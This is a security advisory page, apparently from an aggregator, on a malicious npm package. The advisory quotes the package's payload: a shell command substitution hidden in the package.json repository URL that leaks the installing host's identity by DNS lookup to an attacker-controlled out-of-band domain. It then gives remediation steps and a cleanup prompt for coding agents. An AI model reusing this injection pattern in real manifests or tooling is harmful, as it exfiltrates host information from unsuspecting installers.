# MAL-2026-18049: Malicious code in @an1mshnpmb9c84920/pipe-dns-m19t2 (npm)


- **Type:** Malicious package
- **Package:** `@an1mshnpmb9c84920/pipe-dns-m19t2` (npm)
- **Published:** 19 Oct 2026
- **Also known as:** GHSA-3xpj-mfqg-v52m

## What is MAL-2026-18049?

MAL-2026-18049 is a malicious package in @an1mshnpmb9c84920/pipe-dns-m19t2, published on 19 Oct 2026. 

### Official description

The package.json repository.url field embeds a shell command-substitution payload of the form $(getent${IFS}hosts${IFS}<subdomain>.oob.awss.dev>/dev/null), designed to execute when tooling interpolates the field into a shell context. The payload resolves an attacker-controlled subdomain under oob.awss.dev, leaking the installer's host identity via DNS to the attacker's out-of-band collector. The package body is a one-line stub with no legitimate functionality; the entire payload is in the manifest metadata. The scoped name and single-release shape are consistent with a dependency-confusion or manifest-injection probe targeting internal npm tooling.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-18049?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-18049 is a malicious package: @an1mshnpmb9c84920/pipe-dns-m19t2 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-18049/ (Markdown: https://insights.sbomify.com/MAL-2026-18049/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-18049

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-18049/
Summaries are generated and may contain mistakes; the official description above is the record.